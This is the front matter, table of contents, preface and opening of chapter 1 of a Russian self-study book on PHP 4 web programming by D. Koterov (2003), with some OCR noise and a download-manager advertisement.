www.bhv.ru

www.bhv.kiev.ua

Язык программирования для созданияэффективных Web-приложений

Д. Котеров

РНР4

Санкт-Петербург«БХВ-Петербург»2003

УДК 681.3.06

Котеров Д. В.

Самоучитель РНР 4. — СПб.: БХВ-Петербург, 2003. — 576 с.: ил.

ISBN 5-94157-071-6

Учебное пособие по использованию языка РНР версии 4 содержит обширную информацию о приемах, призванных в кратчайшие сроки сделать новичка, владеющего хотя бы одним алгоритмическим языком, Web-профаммистом. Рассматриваются основы протоколов HTTP и CGI, схемы разработки крупных сценариев на РНР, синтаксис языка и работа с простейшими функциями, объектно-ориентированное программирование на РНР с применением идеологии интерфейсов, манипуляции со строками и массивами, создание баз данных и многое другое.

Для программистов и Web-разработчиков

УДК 681.3.06

Группа подготовки издания:

Главный редакторЗав. редакциейРедакторКомпьютерная версткаКорректорДизайн обложки Зав. производствомГлавный редакторЗав. редакциейРедакторКомпьютерная версткаКорректорДизайн обложки Зав. производствомЕкатерина Кондукова Наталья Таркова Евгений Васильев Натальи Смирновой Наталия Першакова Игоря Цырульникова Николай ТверскихЕкатерина Кондукова Наталья Таркова Евгений Васильев Натальи Смирновой Наталия Першакова Игоря Цырульникова Николай Тверских

Главный редактор

Зав. редакцией

Редактор

Компьютерная верстка

Корректор

Дизайн обложки Зав. производством

Главный редактор

Зав. редакцией

Редактор

Компьютерная верстка

Корректор

Дизайн обложки Зав. производством

Екатерина Кондукова Наталья Таркова Евгений Васильев Натальи Смирновой Наталия Першакова Игоря Цырульникова Николай Тверских

Екатерина Кондукова Наталья Таркова Евгений Васильев Натальи Смирновой Наталия Першакова Игоря Цырульникова Николай Тверских

Лицензия ИД № 02429 от 24.07.00. Подписано в печать 27.01.03.

Формат 70x1007,,. Печать офсетная. Усл. печ. л. 46,44.

Доп. тираж 5000 экз. Заказ№699

"БХВ-Петербург", 198005, Санкт-Петербург, Измайловский пр., 29.

Гигиеническое заключение на продукцию, товар № 77.99.02.953.Д.001537.03.02от 13.03.2002г. выдано Департаментом ГСЭН Минздрава России.

Отпечатано с готовых диапозитивовв Академической типографии "Наука" РАН.199034, Санкт-Петербург, 9 линия, 12.

ISBN 5-94157-071-6ISBN 5-94157-071-6с Котсров Д. в., 2001

ISBN 5-94157-071-6

ISBN 5-94157-071-6

О Оформление, издательство "БХВ-Петербург", 2001

Содержание

Предисловие1

Чего хочет программист от своей профессии2

Временные затраты3

О чем эта книга4

Общая структура книги5

ЧАСТЬ I. ОСНОВЫ WEB-ПРОГРАММИРОВАНИЯ9

Глава 1. Принципы работы Интернета11

Протоколы передачи данных

Семейство TCP/IP13

Адресация с Сети14

IP-адрес14

Доменное имя16

Порт'19

Терминология20

Сервер20

Узел21

Порт21

Сетевой демон22

Провайдер22

Хост22

Виртуальный хост23

Хостинг-провайдер (хостер)23

Хостинг24

Сайт24

HTML-документ24

Страница (или HTML-страница)24

Web-программирование25

World Wide Web и URL25

Протокол26

Имя хоста26

Порт26

Путь к странице27

Глава 2. Интерфейс CGI28

Что такое CGI?28

Секреты URL29

Заголовки и метод GET30

GET32

POST32

Content-type32

User->lgm t33

Referer33

Content-length'33

Cookie34

Accept34

Эмуляция браузера через telnet34

Метод POST35

Кодировки и форматы данных36

Что такое формы и для чего они нужны37

Передача параметров "вручную"38

Использование формы38

Абсолютный и относительный путь к сценарию39

Метод POST и формы40

Глава 3. CGI изнутри42

Передача документа пользователю43

Заголовки ответа44

Пример CGI-сценария46

Передача информации CGI-сценарию48

Переменные окружения48

Передача параметров методом GET50

Передача параметров методом POST51

Расшифровка URL-кодированных данных53

Формы56

Тэг <input> — различные поля ввода57

Тэг <textarea> — многострочное поле ввода текста61

Тэг <select> — список62

Загрузка файлов64

Формат данных64

Тэг загрузки файла (JUe^66

Что такое Cookies и с чем их едят67

Установка Cookie69

Получение Cookies из браузера71

Пример программы для работы с Cookies71

Авторизация73

ЧАСТЬ II. ВЫБОР И НАСТРОЙКА ИНСТРУМЕНТАРИЯ.

WEB-СЕРВЕР APACHE77

Глава 4. Установка Apache79

Введение: зачем нужен домашний сервер?79

Дистрибутивы и ссылки80

От слов к делу: установка Apache80

Этап первый: установка81

Этап второй: настройка файла конфигурации Apache82

Этап третий: тестирование Apache86

Виртуальные хосты Apache88

Глава 5. Установка РНР и MySQL93

Установка РНР93

Настройка Apache для работы с РНР95

Тестирование РНР96

Установка дополнительных модулей97

Установка MySQL98

Тестирование MySQL100

ЧАСТЬ III. ОСНОВЫ ЯЗЫКА РНР103

Глава 6. Характеристика языка РНР105

Интерпретатор или компилятор?106

Достоинства и недостатки интерпретатора108

Пример PHP-программы110

Использование РНР в Web114

Глава 7. Переменные, константы, выражения117

Переменные117

Типы переменных118

Действия с переменными121

Определение типа переменной122

Установка типа переменной123

Оператор присваивания123

Ссылочные переменные124

Жесткие ссылки124

Символические ссылки126

Некоторые условные обозначения126

string127

int, long127

double,float127

bool127

array128

list128

object128

void128

mixed128

Константы129

Предопределенные константы129

Определение констант130

Проверка существования константы130

Выражения130

Логические выражения132

Строковые выражения133

Операции135

Арифметические операции136

Строковые операции136

Операции присваивания136

Операции инкремента и декремента137

Битовые операции

Операции сравнения138

Операция эквивалентности138

Логические операции140

Оператор отключения предупреждений140

Глава 8. Работа с данными формы143

Передача данных командной строки143

Формы145

Трансляция полей формы в переменные146

Трансляция переменных окружения и Cookies148

Трансляция списков149

Трансляция массивов151

Глава 9. Конструкции языка153

Инструкция if-else.153

Использование альтернативного синтаксиса;154

Цикл с предусловием while155

Цикл с постусловием do-while156

Универсальный циклfor156

Инструкции break и continue157

Нетрадиционное использование do-while и break159

Цикл foreach160

Конструкция switch-case161

Инструкция require162

Инструкция include163

Трансляция и проблемы сinclude163

Инструкции однократноговключения164

Глава 10. Ассоциативные массивы167

Создание массива "на лету". Автомассивы168

Инструкция list()170

Списки и ассоциативные массивы:путаница?170

Инструкция array () и многомерныемассивы171

Операции над массивами172

Доступ по ключу172

Функция countf)173

Слияние массивов173

Косвенный перебор элементов массива175

Прямой перебор массива177

Списки и строки178

Сериализация179

Глава 11. Функции и области видимости181

Пример функции182

Общий синтаксис определения функции184

Инструкция return...185

Параметры по умолчанию186

Передача параметров по ссылке187

Переменное число параметров188

Локальные переменные190

Глобальные переменные191

Массив SGLOBALS192

Статические переменные194

Рекурсия195

Вложенные функции195

Условно определяемые функции197

Передача функций "по ссылке"198

Возврат функцией ссылки199

Пример функции: Dump()201

Несколько советов по использованию функций202

ЧАСТЬ IV. СТАНДАРТНЫЕ ФУНКЦИИ РНР203

Глава 12. Строковые функции206

Конкатенация строк206

О сравнении строк и инструкции if-else.207

Функции для работы с одиночными символами209

Функции отрезания пробелов210

Базовые функции212

Работа с блоками текста213

Функции для преобразований символов214

Функции изменения регистра

Установка локали (локальных настроек)217

Преобразование кодировок218

Функции форматных преобразований219

Работа с бинарными данными221

Хэш-функции223

Сброс буфера вывода225

Глава 13. Работа с массивами226

Сортировка массивов226

Сортировка массива по значениям (asort()/arsort())226

Сортировка по ключам (ksort()/krsort()}227

Сортировка по ключам при помощи функции uksortQ227

Сортировка по значениям при помощи функции uasort()228

Переворачивание массива array_reverce()228

Сортировка списка sort()/rsortO228

Сортировка списка при помощи функции usort().229

Перемешивание списка shuflleQ229

Ключи и значения230

Комплексная замена в строке231

Слияние массивов...232

Получение части массива232

Вставка/удаление элементов232

Переменные и массивы234

Создание списка — диапазона чисел236

Глава 14. Математические функции238

Встроенные константы238

Функции округления239

Случайные числа239

Перевод в различные системы счисления241

Минимум и максимум242

Степенные функции242

Тригонометрия243

Глава 15. Работа с файлами244

О текстовых и бинарных файлах244

Открытие файла245

Конструкция or die()249

Безымянные временные файлы249

Закрытие файла250

Чтение и запись250

Блочные чтение/запись251

Построчные чтение/запись251

Чтение CSV-файла252

Положение указателя текущей позиции253

Функции для определения типов файлов254

Определение типа файла254

Определение возможности доступа255

Определение параметров файла255

Специализированные функции256

Функции для работы с именами файлов257

Функции манипулирования целыми файлами258

Другие функции260

Блокирование файла261

Типы блокировок262

Блокировки с запретом "подвисания265

Пример счетчика266

Глава 16. Работа с каталогами268

Манипулирование каталогами268

Работа с записями269

Пример: печать дерева каталогов271

Глава 17. Каналы и символические ссылки273

Каналы273

Символические ссылки275

Жесткие ссылки...276

Глава 18. Запуск внешних программ277

Глава 19. Работа с датами и временем280

Представление времени в формате timestamp280

Работа с датами281

Григорианский календарь283

Глава 20. Посылка писем через РНР285

Функция отправки письма285

Проблема с кодировками286

Посылка в указанной кодировке286

Динамическая смена кодировки287

Проблема с заголовками287

Перспективы: создание "умной" функции для отправки писем288

Глава 21. Работа с WWW289

Установка заголовков ответа289

Вывод заголовка289

Запрет кэширования290

Получение заголовков запроса290

Работа с Cookies291

Немного теории291

Установка Cookie292

Получение Cookie293

SSI и функция virtual()294

Эмуляция функции virtual().294

Глава 22. Основы регулярных выражений в формате RegEx296

Начнем с примеров296

Пример первый296

Пример второй297

Выводы297

Терминология298

Использование регулярных выражений в РНР298

Сопоставление298

Сопоставление с заменой299

Язык RegEx299

Простые символы300

Квантификаторы повторений302

Мнимые символы304

Оператор альтернативы304

Группирующие скобки305

"Карманы"305

Дополнительные функции308

Примеры использования регулярных выражений309

Имя и расширение файла309

И мя каталога и файл а309

Проверка на идентификатор310

Модификация тэгов310

Преобразование гиперссылок310

Преобразование адресов E-mail........................................................................311

Выделение всех уникальных слов из текста311

Заключение312

Глава 23. Работа с изображениями314

Универсальная функция GetlmageSizeQ315

Работа с изображениями и библиотека GD316

Пример316

Создание изображения317

Определение параметров изображения318

Сохранение изображения319

Работа с цветом в формате RGB320

Создание нового цвета320

Получение ближайшего цвета320

Эффект прозрачности321

Получение RGB-составляющих322

Графические примитивы322

Копированиеизображений322

Прямоугольники323

Линии324

Дуга сектора324

Закраска произвольной области324

Многоугольники325

Работа с пикселами325

Работа с фиксированными шрифтами326

Загрузка шрифта326

Параметры шрифта327

Вывод строки327

Работа со шрифтами TrueType327

Вывод строки328

Определение границ строки329

Пример329

Глава 24. Управление интерпретатором332

Информационные функции332

Настройка параметров РНР333

errorreporting334

magic_quotes_gpc on/off334

max_execution_time335

track_vars on/off.335

Контроль ошибок335

Оператор отключения ошибок336

Пример использования оператора @337

Принудительное завершение программы337

Финализаторы...338

Генерация кода во время выполнения339

Выполнение кода339

Генерация функций341

Проверка синтаксической корректности кода343

Другие функции344

Глава 25. Управление сессиями345

Зачем нужны сессии?345

Механизм работы сессий346

Инициализация сессии347

Регистрация переменных348

Идентификатор сессии и имя группы349

Имя группы сессий349

Идентификатор сессии350

Другие функции351

Установка обработчиков сессии352

Обзор обработчиков352

Регистрация обработчиков354

Пример: переопределение обработчиков354

Сессии и Cookies357

Явное использование константы SID357

Неявное изменение гиперссылок358

Неявное изменение формы359

Так использовать Cookies в сессиях или нет?360

Глава 26. Работа с базой данных MySQL361

Неудобство работы с файлами362

Устройство MySQL363

Соединение с базой данных364

Обработка ошибок365

Выполнение запросов к базе данных365

Язык запросов MySQL366

Создание таблицы366

Удаление таблицы371

Вставка записи371

Удаление записей371

Поиск записей371

Обновление записей372

Получение числа записей, удовлетворяющих выражению372

Получение уникальных значений столбцов...372

Получение результата373

Параметры результата373

Получение поля результата374

Получение целой строки результата374

Получение информации о результате375

Пример использования функций поддержки MySQL377

Уникальные идентификаторы в MySQL378

Работа с таблицами379

Глава 27. Сетевые функции381

Работа с сокетами381

Функции для работы с DNS382

Разрешение IP-адреса в доменное имя и наоборот383

Корректный перевод IP-адреса в доменное имя383

ЧАСТЬ V. ПРИЕМЫ ПРОГРАММИРОВАНИЯ НА РНР387

Глава 28. Загрузка файлов на сервер389

Multipart-формы390

Тэг выбора файла390

Закачка файлов и безопасность391

Поддержка закачки в РНР392

Простые имена полей закачки392

Пример: фотоальбом393

Сложные имена полей395

Проблемы со сложными именами396

Глава 29. Модульность программы. Написание "библиотекаря"397

Наши требования397

Библиотекарь398

Работа с библиотекарем404

Автоматическое подключение библиотекаря405

Способ первый: использование auto _prependJiLe406

Способ второй: установка обработчика Apache407

Обработчики Apache407

Перехват обращений к несуществующим страницам.411

Связывание РНР с другим расширением412

Решение проблемы зацикливания обработчика.413

Глава 30. Код и шаблон страницы415

Идеология416

Двухуровневая схема417

Шаблон страницы417

Генератор данных419

Взаимодействие генератора данных и шаблона421

Недостатки422

Трехуровневая схема423

Шаблон страницы423

Диаграммы двухуровневой и трехуровневоймоделей425

Интерфейс426

Ядро427

Проверка корректности входных данных428

Шаблонизатор429

Традиционное построение страниц431

Что такое шаблонизатор?...433

Описание шаблонизатора434

Обработчик Apache для шаблонизатора441

Главный модуль шаблонизатора443

"Перехват" выходного потока449

Стек буферов450

Проблемы с отладкой451

Глава 31. Объектно-ориентированное программирование на РНР453

Классы и объекты454

Свойства объекта454

Методы456

Класс таблицы MySQL456

Доступ объекта к своим свойствам459

Инициализация объекта. Конструкторы460

Деструктор461

Наследование462

Полиморфизм464

Полноценный класс таблицы MySQL465

Копирование объектов478

Ссылки и интерфейсы479

Возврат ссылки на объект481

Возврат интерфейса482

Глава 32. Почтовые шаблоны486

Мини-шаблонизатор486

Отправка и перекодирование писем488

Пример493

Глава 33. Разные советы496

Разделенные вычисления496

Использование самопереадресации501

Запрет кэширования страниц503

Несколько слов о флажках checkbox504

ЧАСТЬ VI. ПРИЛОЖЕНИЯ507

Приложение 1. Файл конфигурации Apache httpd.conf.509

Приложение 2. Файл конфигурации РНРphp.ini536

Предметный указатель555

Мы не в силах повысить качество

Вашего Интернет-соединения...

Но мы можем повысить эффективность его работы!!!

Get ReGet!i

ReGet - это менеджер закачек, позволяющий легко и быстро , скачивать файлы с FTP- и HTTP-серверов. Если у Вас хороший канал, ReGet использует все преимущества Вашего Интернет-соединения. Если качество связи оставляет желать лучшего, ReGet позволит свести неудобства к минимуму и гарантированно скачать все файлы.

ReGet 1.7 -новая версия с поддержкой MS Internet Explorer 5.5, Windows 2000 и улучшенной системой автообновлений.

ReGet - оптимизирован для работы на российских телефонных линиях. Ему не страшны обрывы связи, плохие каналы, загруженные серверы.

ReGet - надежный попутчик в путешествиях по Сети.

Скачай себе бесплатную версию!

www.reget.com

Предисловие

В последнее время в связи с бурным развитием сети Интернет в программировании начинает все более резко выделяться отдельная отрасль. Поначалу она не могла даже и сравниться по своей сложности с другими областями программистского ремесла, не "дотягиваясь" не только до системного, но даже и до прикладного программирования. Речь идет, конечно, о программировании сценариев для Web, или, как часто говорят, Web-программировании. В наши дни, однако, роль этой отрасли в структуре Интернета все более возрастает, соответственно растет и средняя оценка сложности сценариев. Многие системы (например, поисковые) по объему кода приближаются к размеру исходных кодов серьезных пакетов прикладных программ.

Представляю, как эти слова тут же вызовут бурю протеста со стороны прикладных и системных программистов, лишь мельком глянувших на программирование в Web. "Как, — заявят они, — неужели написание простейших программ на "бейсикоподобных интерпретаторах вообще можно назвать серьезным программированием? Да с этим же справится любой начинающий изучать программирование студент, потому что эта область не вносит и не может внести каких-либо новшеств, не "изобретает" алгоритмов, и, кстати, в ней нет ничего творческого. Да и вообще, скука-то, наверное, какая..." Обычно с такими людьми можно спорить часами. Действительно, какую бы задачу им ни привели, они начинают утверждать, что решить ее очень просто, хотя на самом деле это в контексте Web, мягко говоря, оказывается не совсем так.

Что ж, отчасти такие люди правы. Поначалу все мы так считали, пока не столкнулись вплотную с тем, что называется Web-программированием. Да, в большинстве своем все программы удивляют своей кажущейся простотой. Но везде есть "подводные камни", и Web-программирование особенно ярко это доказывает. Обычно на написание сценариев уходят не месяцы и годы, а дни и недели. Но особо сложные сценарии могут потребовать значительно большего времени на разработку. Наконец, на первый взгляд работа Web- программиста кажется на редкость скучной. Но...

Все это обстоит именно таким образом, если вы программируете, что называется, "для себя", и при этом не пытаетесь каким-либо образом "автоматизировать" и упростить этот процесс. Действительно, можно получать удовольствие от написания прикладных программ (особенно нетривиальных), даже если их никто, кроме автора и его ближайших знакомых, потом не увидит. Здесь привлекает сам процесс. Вот этим-то и отличается программирование в Web: нельзя писать сценарии "для себя", это занятие действи-

тельно покажется (а возможно, так оно и есть) скучным. Зато если вы создали программу, прекрасно работающую в Интернете, через которую "проходят" сотни человек в день, и к тому же с удобным и оригинальным интерфейсом — вот тут-то и начинает вам нравиться ваша профессия.

Примечание

Лу Гринзо, один из программистов IBM, говорил: "Все программисты немного чокнутые. Это как бесконечная компьютерная игра: мы должны получать удовольствие от своей работы. Какие бы деньги нам ни платили, если в нашем ремесле нет ничего увлекающего, никто из нас не станет работать". Думаю, нам всем иногда стоит задумываться над этими словами.

Чего хочет программист от своей профессии

Давайте попробуем разобраться, чего хочет Web-программист, когда он выбирает свою профессию. Возможно, он считает, что эта стезя довольно прибыльна? Но деньги приходят, что называется, "сами собой" с накоплением опыта и получением определенных навыков, по мере того, как человек становится профессионалом. Так происходит с любой профессией, а не только с программированием. Кстати, как я немного выше упоминал, никто из профессиональных программистов не работает исключительно за деньги, основной стимул — это все-таки интерес к работе.

Идем дальше. Может быть, ему нужна известность? Конечно, этот фактор не является третьестепенным, учитывая то, что известность — гарантия, что программист всегда легко сможет найти работу. Однако, как и деньги, слава и известность также не бывают самими по себе — их необходимо заслужить. И, к тому же, много ли вы знаете известных имен программистов, действительно заслуживших свое признание практикой (Билл Гейтс не в счет, потому что он уже давно этим не занимается)? Правильно — ни одного. Разве что, может быть, кто-нибудь вспомнит доблестных создателей игры Doom, ставшей уже историей.

Но есть нечто такое, на что я уже намекал, и именно этим Web- программирование (да и вообще любая работа, происходящая в Web) резко отличается в лучшую сторону от всех доселе известных видов программирования. Вы можете быть очень хорошим прикладным или системным программистом. Однако вряд ли ваши программы будет использовать такое количество людей, которое ежедневно посещает даже и не самую популярную страничку в Интернете, "подкрепленную" Web-сценарием. Вряд ли вы получите такое количество отзывов, приобретете такое число бесплатных тестеров, усердно шлющих вам гору писем с сообщениями о неточностях и ошибках в вашем продукте, а также с отзывами и предложениями. А ведь, как известно,

заметить ошибку в программе означает "отрубить ей голову". Наконец, иногда приятно отметить для себя, что сценарий, написанный вами несколько лет назад, о котором вы почти уже и забыли думать, продолжает исправно работать "сам по себе", без всякого человеческого вмешательства.

Временныезатраты

Да, я уже слышу очередные протесты "системщиков". Конечно, операционная система — безусловный "долгожитель" на множестве компьютеров. Вместе с тем, согласитесь, написать работоспособную ОС, действительно пригодную для использования (без всяких там оговорок) довольно тяжелая работа, если не сказать большего. Под силу ли это одиночке? Сомневаюсь, что с ней в приемлемые сроки справится не то чтобы один, а десяток или даже пятьдесят человек.

Проведем несложные расчеты. На одной из конференций представитель фирмы Sun Microsystems заявил (видимо, в качестве порицания), что исходный текст последних версий Windows насчитывает порядка 50 миллионов строк. Думаю, он не очень сильно ошибся в своей оценке (как мы увидим, даже если он завысил цифру хоть в 10 раз, все равно результат будет неутешительный). В сумме это составляет около 50 млнх20 байт=1000 Мбайт (из расчета в среднем 20 символов в строке). Предположим, программист может печатать со скоростью 30 символов в минуту (разумеется, скорость собственно печати значительно выше, но ведь прежде чем что-то набирать, нужно сначала все спланировать и разработать). Таким образом, работая непрерывно, он в этом темпе создаст ОС за 1000 Мбайт/(30/60 мин)/ /3600 с=555 555 часов, что составит 555 555/24=23 148 дня или ровным счетом 23 148/365=63 года непрерывной круглосуточной работы! А ведь мы значительно завысили реальную скорость печати, да и, к тому же, нельзя 24 часа заниматься только тем, что набирать программу на клавиатуре.

Ко всему прочему, нужно еще компилировать программу, исправлять ошибки, еще раз компилировать и так до бесконечности (как это может показаться непривычному человеку). Наконец, "Нет ошибок в данной трансляции", но вдруг — логическая ошибка, и начинай все заново?.. Допустим даже ОС будет занимать не 50 миллионов строк, а только 5 миллионов. Предположим, что в команде не один, а 1000 человек. И пусть рабочий день программиста составляет 6 часов непрерывной работы. Итак, мы получим, что на написание нашей ОС этой командой уйдет 555 555/10/1000х(24/6)=222 дня, или около семи месяцев. Что Ж... Вполне неплохо, но какой ценой?.. К тому же совершенно неизвестно, получится ли в конце концов система, которая кому-то будет нужна. Представляете, полгода работы — и все напрасно?!

Разумеется, в системном и прикладном программировании существуют и другие направления. Например, можно написать какую-нибудь полезную

программу, вроде текстового процессора или браузера. Кстати, вы знаете достоверно, сколько человек писало Internet Explorer? Лучше бы и я этого не знал...

И вот мы вернулись к тому, с чего начинали: чем же так привлекательна профессия Web-программиста. Все-таки понять это в полной мере можно, лишь достаточно поработав в этой области. Самое привлекательное в ней то, что результат своей работы можно видеть через довольно короткий срок.

О чем эта книга

Книга, которую вы держите в руках, является в некотором роде учебником по Web-программированию. Я сделал попытку написать ее так, чтобы даже самый неподготовленный читатель, владеющий лишь основами программирования на одном из алгоритмических языков, смог овладеть большинством необходимых знаний и в минимальные сроки начать профессиональную работу в Web.

Конечно, нельзя вести разговор о программировании, не подкрепляя его конкретными примерами на том или ином алгоритмическом языке. Поэтому главная задача книги — подробное описание языка РНР версии 4, а также некоторых удобных приемов, позволяющих создавать качественные Web- программы за очень короткие сроки, получая продукты, легко модифицируемые и поддерживаемые в будущем. И хотя язык РНР постоянно изменяется, я уверен, что ему обеспечено долгое доминирование в области языков для программирования в Web, по крайней мере, в ближайшее время.

Попутно описываются наиболее часто используемые и полезные на практике приемы Web-программирования, не только на РНР. Я постарался рассказать практически обо всем, что потребуется в первую очередь для освоения профессии Web-программиста. Но это вовсе не значит, что книга переполнена всякого рода точной технической информацией. Технического материала не так много, основной "упор" сделан не на "низкий уровень", а на те методы, которые позволят в значительной степени облегчить труд программиста, начинающего работать в области Web.

В тексте много "общефилософских" рассуждений на тему "как могло бы быть, если..." или "как бы сделал я сам в этой ситуации...", они обычно оформлены в виде примечаний. Иногда я позволяю себе писать не о том, что есть на самом деле, а о том, как это могло бы быть в более благоприятных обстоятельствах. Здесь применяется метод: "расскажи сначала просто, пусть и не совсем строго и точно, а затем постепенно детализируй, освещая подробности, опущенные в прошлый раз". По своему опыту знаю, что такой стиль повествования чаще всего оказывается гораздо более плодотворным, чем строгое и сухое описание фактов. Еще раз: я не ставил себе целью написать исчерпывающее руководство в определенной области, и не стремил-

ся описывать все максимально точно, как в учебнике по математике, — наоборот, во многих местах я пытаюсь отталкиваться от умозрительных рассуждений, возможно, немного и не соответствующих истине. Основной подход — от частного к общему, а не наоборот. Как-никак, "изобретение велосипеда" испокон веков считалось лучшим приемом педагогики.

Возможно, многие детали (даже важные) я опустил, если они не относятся к категориям приемов:

которые наиболее часто применяются;

без которых нельзя обойтись в Web-программировании.

Может быть, я уделил чему-то незаслуженно мало внимания. Наконец, в этой книге, как и в любой другой (за исключением разве что старого энциклопедического словаря), есть ошибки и неточности — сразу приношу за них свои извинения. Признаюсь честно: многие примеры простых программ могут содержать синтаксические "огрехи", т. к. из-за своей простоты они никогда не были протестированы. Это не относится к крупным программам, приведенным в пятой части книги — как раз они были тщательно отлажены. Везде, где можно, присутствуют подробные комментарии практически к каждой строке программы, поэтому в основном логика описываемых действий должна быть предельно ясна.

Общая структура книги

Книга состоит из пяти частей, содержащих в общей сложности 33 главы, и двух приложений. Непосредственное описание языка РНР начинается с третьей части. Это объясняется необходимостью прежде узнать кое-что о CGI (Common Gateway Interface — Общий шлюзовой интерфейс) —первая часть, а также выбрать подходящий инструментарий и Web-сервер для программирования — вторая часть. В четвертой части разобраны наиболее полезные стандартные функции языка. Пятая часть посвящена различным приемам программирования на РНР с множеством примеров. Приложения содержат техническую информацию, которая может иногда пригодиться Web-программисту.

Теперь чуть подробнее о каждой части книги. В первой рассматриваются теоретические аспекты программирования в Web, а также основы того механизма, который позволяет писать программы в Сети. Если вы уже знакомы с этим материалом (например, занимались программированием на Perl или других языках), можете ее смело пропустить. Вкратце я опишу, на чем базируется Web, что такое интерфейс CGI, как он работает на низком уровне, как используются возможности языка HTML при программировании Web, как происходит взаимодействие CGI и HTML и многое другое. В принципе, вся теория по Web-программированию коротко изложена именно в этой части книги. Так как CGI является независимым от платформы интерфей-

сом, материал не "привязан" к конкретному языку (хотя в примерах используется Си как наиболее универсальный язык). Если вы не знаете языка Си, не стоит отчаиваться: немногочисленные примеры на этом языке не настолько сложны, чтобы в них можно было "запутаться". К тому же, каждое действие подробно комментируется. Большинство описанных идей будет повторно затронуто в последующих главах, посвященных уже языку РНР.

Вторая часть книги довольно небольшая и состоит из разного рода дополнительной информации, связанной по большей части с серверным программным обеспечением Apache. Сервер Apache — один из самых популярных в мире, на нем построено около двух третей хостов Интернета (по крайней мере, на настоящий момент). Главное его достоинство — простое и в то же время универсальное конфигурирование, что позволяет создавать довольно сложные и большие серверы на его основе. Думаю, вряд ли в ближайшее время кто-либо будет серьезно использовать РНР под управлением какого- то другого сервера, нежели Apache. Основное внимание во второй части уделено установке и использованию Apache для Windows, поскольку, как мы увидим ниже, это очень сильно облегчает программирование и отладку сценариев. Не секрет, что подчас выбор неверного и неудобного инструментария только из-за того, что "им пользуются все", является серьезной помехой при программировании. Именно из-за этого многие "закаленные" Web- программисты "старого образца" не принимают РНР всерьез. Вторая часть книги призвана раз и навсегда решить эту проблему.

Третья часть целиком посвяшена основам РНР. Язык РНР — сравнительно молодой, но в то же время удивительно удобный и гибкий язык для программирования Web. С помощью него можно написать 99% программ, которые обычно требуются в Интернете. Для оставшегося 1% придется использовать Си или Perl (или другой универсальный язык). Впрочем, даже это необязательно: вы сильно облегчите себе жизнь, если интерфейсную оболочку будете разрабатывать на РНР, а ядро — на Си, особенно, если ваша программа должна работать быстро, например, если вы пишете поисковую систему. Последняя тема в этой книге не рассматривается, поскольку требует довольно большого опыта низкоуровневого программирования на языке Си, а потому не вписывается в концепцию данной книги.

Четвертая часть может быть использована не только как своеобразный учебник, но также и в справочных целях — ведь в ней рассказано о большинстве стандартных функций, встроенных в РНР. Я группировал функции в соответствии с их назначением, а не в алфавитном порядке, как это иногда бывает принято в технической литературе. Что ж, думаю, книга от этого только выиграла. Содержание части во многих местах дублирует документацию, сопровождающую РНР, но это ни в коей мере не означает, что она является лишь ее грубым переводом. Наоборот, я пытался взглянуть на "кухню" Web- программирования, так сказать, свежим взглядом, еще помня свои собственные ошибки и изыскания. Конечно, все функции РНР описать невоз-

можно (потому что они добавляются и совершенствуются от версии к версии), да этого и не требуется, но львиная доля предоставляемых РНР возможностей все же будет нами рассмотрена.

Пятая часть книги целиком посвящена различным приемам программирования на РНР. Она насыщена всевозможными примерами программ и библиотек, облегчающими работу программиста. Если первые три части, да и четвертая в известной мере, касались Web-программирования в основном теоретически, то здесь как раз основной упор сделан на практику. Как известно, грамотное программирование и написание повторно используемого кода может сильно облегчить жизнь, поэтому один из первых приемов, рассматриваемых в пятой части — это написание системы управления модулями и библиотеками. Кроме того, вряд ли вы станете разрабатывать сайты в одиночку - скорее всего, в вашей команде будет дизайнер, HTML- верстальщик и представители других профессий. Поэтому на передний план выходит техника отделения кода от шаблона страницы сценария, чему также уделяется довольно много внимания. Дополнительно рассматриваются: загрузка (upload) файлов, реализация почтовых шаблонов, техника разделенных вычислений и т. д.

В приложениях приведена дополнительная информация, касающаяся Web- программирования. В Приложении 1 содержится полный перевод на русский язык комментариев в файле конфигурации Apache httpci. conf. Она может очень пригодиться вам, если вы собираетесь тесно взаимодействовать с этим сервером в своих сценариях. Приложение 2 включает аналогичный перевод комментариев, сопровождающих файл конфигурации интерпретатора РНР. Оно призвано помочь лучше систематизировать сведения о конфигурировании РНР, полученные из других глав книги (и увидеть реальный пример использования многих описанных директив).

ЧАСТЬ I.

основы

WEB-ПРОГРАММИРОВАНИЯ

Глава 1

Принципы работы Интернета

Протоколы передачи данных

Как и любая компьютерная сеть, Интернет основан на множестве компьютеров, соединенных друг с другом проводами, через спутниковый канал связи и т. д. Однако, как известно, одних проводов для передачи информации недостаточно — передающей и принимающей сторонам необходимо также придерживаться ряда соглашений, позволяющих строго регламентировать передачу данных, а также гарантировать, что эта передача пройдет без искажений. Такой набор правил называется протоколом передачи. Грубо говоря, протокол — это набор правил, который позволяет системам, взаимодействующим в рамках Интернета, обмениваться данными в наиболее удобной для них форме. Следуя сложившейся в книгах подобного рода традиции, я вкратце расскажу, что же из себя представляют основные протоколы Интернета.

Замечание j

Иногда я буду называть Интернет Сетью с большой буквы, в отличие от "сети" с маленькой буквы, которой обозначается вообще любая сеть, локальная или глобальная. Тут ситуация сходна со словом "галактика": наша галактика называется Галактикой с прописной буквы, а "галактика" со строчной буквы соответствует любой другой звездной системе подобных размеров. На самом деле, сходство Сети и Галактики идет несколько дальше орфографии, и, я думаю, вы скоро также проникнетесь этой мыслью.

Необходимость некоторой стандартизации возникла чуть ли не с самого момента возникновения компьютерных сетей. Действительно, подчас одной сетью объединены компьютеры, работающие под управлением не только различных операционных систем, но нередко имеющие и совершенно различную архитектуру процессора, организацию памяти и т. д. Именно для того, чтобы обеспечивать возможность передачи между такими компьютерами, и предназначены всевозможные протоколы. Давайте рассмотрим этот вопрос чуть подробнее.

Разумеется, для разных целей существуют различные протоколы. К счастью, нам не нужно иметь представление о каждом из них — достаточно знать только тот, который мы будем использовать в Web-программировании. Та-

ковым для нас является протокол TCP (Transmission Control Protocol — Протокол управления передачей данных), а точнее, протокол HTTP (Hypertext Transfer Protocol — Протокол передачи гипертекста), базирующийся на TCP. Протокол HTTP как раз и задействуется браузерами и Web-серверами.

